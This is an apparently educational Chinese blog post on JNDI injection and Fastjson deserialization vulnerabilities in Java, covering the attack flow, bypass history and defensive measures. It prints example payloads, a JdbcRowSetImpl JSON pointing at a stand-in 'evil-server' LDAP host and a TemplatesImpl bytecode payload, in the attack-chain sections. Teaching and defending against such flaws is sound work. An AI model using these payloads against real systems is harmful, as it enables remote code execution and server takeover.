文章目录
-
- 概述
- [一、JNDI 注入的基本原理](#一、JNDI 注入的基本原理)
-
- [1.1 JNDI 是什么](#1.1 JNDI 是什么)
- [1.2 LDAP 和 RMI 的角色](#1.2 LDAP 和 RMI 的角色)
- [1.3 完整攻击流程](#1.3 完整攻击流程)
- [二、Fastjson 反序列化漏洞](#二、Fastjson 反序列化漏洞)
-
- [2.1 Fastjson 的 AutoType 机制](#2.1 Fastjson 的 AutoType 机制)
- [2.2 攻击过程](#2.2 攻击过程)
- [2.3 经典攻击链](#2.3 经典攻击链)
-
- [JdbcRowSetImpl + JNDI 注入](#JdbcRowSetImpl + JNDI 注入)
- [TemplatesImpl + 字节码执行](#TemplatesImpl + 字节码执行)
- [三、Fastjson 版本演进与攻防对抗](#三、Fastjson 版本演进与攻防对抗)
- 四、如何防御
-
- [4.1 升级到安全版本](#4.1 升级到安全版本)
- [4.2 配置加固](#4.2 配置加固)
- [4.3 JNDI 相关防护](#4.3 JNDI 相关防护)
- [4.4 架构层防护](#4.4 架构层防护)
- [4.5 代码层面的好习惯](#4.5 代码层面的好习惯)
- 五、总结
概述
在 Java 应用安全领域,有两个经典且影响深远的漏洞:JNDI 注入和 Fastjson 反序列化。这两个漏洞都能导致远程代码执行(RCE),让攻击者完全控制服务器。本文将从原理出发,逐步解析这些漏洞是如何工作的,以及我们该如何防御。
一、JNDI 注入的基本原理
1.1 JNDI 是什么
JNDI(Java Naming and Directory Interface)是 Java 提供的一套标准 API,用于查找各种命名和目录服务。简单说,就是用一个名字去找到对应的对象。比如,我们可以通过 JNDI 找到数据库连接池。
JNDI 的核心就是 lookup 方法,像这样:
java
Context ctx = new InitialContext();
Object obj = ctx.lookup("someName");
问题在于,如果 lookup 的参数来自用户输入,而这个输入是一个远程地址,那就危险了。
1.2 LDAP 和 RMI 的角色
JNDI 支持多种服务,常见的有 LDAP 和 RMI:
- LDAP:轻量级目录访问协议,用于存储树形结构的数据
- RMI:Java 远程方法调用,允许调用远程 JVM 上的对象
当 JNDI 访问这些服务时,如果服务返回了特定类型的对象,Java 会尝试加载和实例化它们,甚至从远程下载类文件。
1.3 完整攻击流程
典型的 JNDI 注入攻击是这样的:
- 攻击者准备:启动一个恶意 LDAP 服务器
- 构造恶意输入:把 ldap://evil-server/Exploit 这样的地址传给应用
- 应用 lookup:应用调用 InitialContext.lookup() 访问这个地址
- 加载恶意类:Java 从攻击者的服务器下载 Evil.class
- 执行代码:恶意类的静态代码块或构造函数执行系统命令
早期 JDK(8u121 之前)默认允许远程加载类,所以攻击很容易。后来 Oracle 逐步收紧限制,但只要能找到本地存在的危险类,仍然可以利用。
二、Fastjson 反序列化漏洞
2.1 Fastjson 的 AutoType 机制
Fastjson 是一个 JSON 解析库,性能很好。它有个特性叫 AutoType,允许在 JSON 里用 @type 指定要反序列化的类:
json
{"@type":"com.example.User","name":"test"}
这本来是方便的功能,但如果 @type 的值可以被攻击者控制,就会出问题。
2.2 攻击过程
Fastjson 反序列化时会做这些事:
- 读取
@type字段得到类名 - 用反射实例化这个类
- 调用 setter 方法设置 JSON 里的属性
- 有时还会调用 getter 方法
攻击者就是利用这个过程,找那些有危险 setter 或 getter 的类。
2.3 经典攻击链
JdbcRowSetImpl + JNDI 注入
com.sun.rowset.JdbcRowSetImpl 是 JDK 自带的类,它有个 setDataSourceName() 方法,会调用 JNDI lookup。
攻击者构造这样的 JSON:
json
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://evil-server/Exploit",
"autoCommit": true
}
当 Fastjson 反序列化时:
- 先创建 JdbcRowSetImpl 对象
- 调用 setDataSourceName 设置地址
- 调用 setAutoCommit 时触发连接,进而触发 JNDI lookup
- 接着就和前面的 JNDI 注入一样了
这适用于 Fastjson 1.2.24 之前的版本。
TemplatesImpl + 字节码执行
后来 Fastjson 加了黑名单,但 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 没被加进去。
这个类可以加载字节码并执行。攻击者把恶意类编译后的字节码 Base64 编码,放到 _bytecodes 字段里:
json
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAA...恶意字节码..."],
"_name": "Test",
"_outputProperties": {}
}
这样就不需要远程下载类了,直接在本地执行恶意字节码。
三、Fastjson 版本演进与攻防对抗
Fastjson 的历史就是一场攻防对抗:
| 版本阶段 | 防护措施 | 绕过方法 |
|---|---|---|
| ≤1.2.24 | 几乎无防护 | JdbcRowSetImpl 直接攻击 |
| 1.2.25-1.2.47 | 黑名单 | TemplatesImpl 绕过 |
| 1.2.48-1.2.68 | 扩大黑名单 | LazyMap 等绕过 |
| ≥1.2.80 | 默认关闭 AutoType | 白名单配置不当漏洞 |
| 2.0.29+ | 重构安全机制 | 新型绕过已修复 |
每一次官方修复,攻击者都能找到新的方法绕过,直到后来默认关闭了 AutoType。
四、如何防御
4.1 升级到安全版本
这是最简单有效的方法:
- Fastjson 1.x:至少升级到 1.2.83
- Fastjson 2.x:至少升级到 2.0.29
- 最好的选择:直接用 Fastjson2,安全架构重新设计过
4.2 配置加固
1.x 版本:
java
// 全局关闭 AutoType,这是核心
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// 如果必须用,只开放业务需要的类
ParserConfig.getGlobalInstance().addAccept("com.company.model.User");
ParserConfig.getGlobalInstance().addAccept("com.company.model.Order");
2.x 版本:
默认就是安全的,保持默认设置就行。
4.3 JNDI 相关防护
JDK 8u191+ 已经有默认防护,但可以再加一层:
java
// 启动参数
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
-Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
4.4 架构层防护
- 网关过滤 :把 JSON 里的
@type字段直接去掉 - 替换序列化库:用 Jackson 或 Gson,它们默认不支持动态类型
- 监控告警:发现有人用 JdbcRowSetImpl、TemplatesImpl 这些类就告警
- 权限限制:容器里的应用别给太高权限,即使被攻破也干不了太多坏事
4.5 代码层面的好习惯
反序列化时,显式指定类型:
java
// 好的做法:指定类型
User user = JSON.parseObject(json, User.class);
// 危险的做法:用 Object 接收
Object obj = JSON.parseObject(json); // 别这样!
五、总结
核心要点
- JNDI 注入:信任了不可信的 lookup 参数,导致加载恶意类
- Fastjson 漏洞:AutoType 机制允许加载任意类,结合危险类的方法执行代码
- 最佳防御:升级版本 + 关闭 AutoType + 显式指定类型
学习建议
理解这些漏洞的原理很重要,但更重要的是记住:
- 不要信任外部输入
- 最小权限原则
- 及时更新依赖库
安全是一个持续的过程,没有一劳永逸的解决方案。
⚠️ 本文仅用于安全学习,请勿在未授权系统上尝试任何攻击!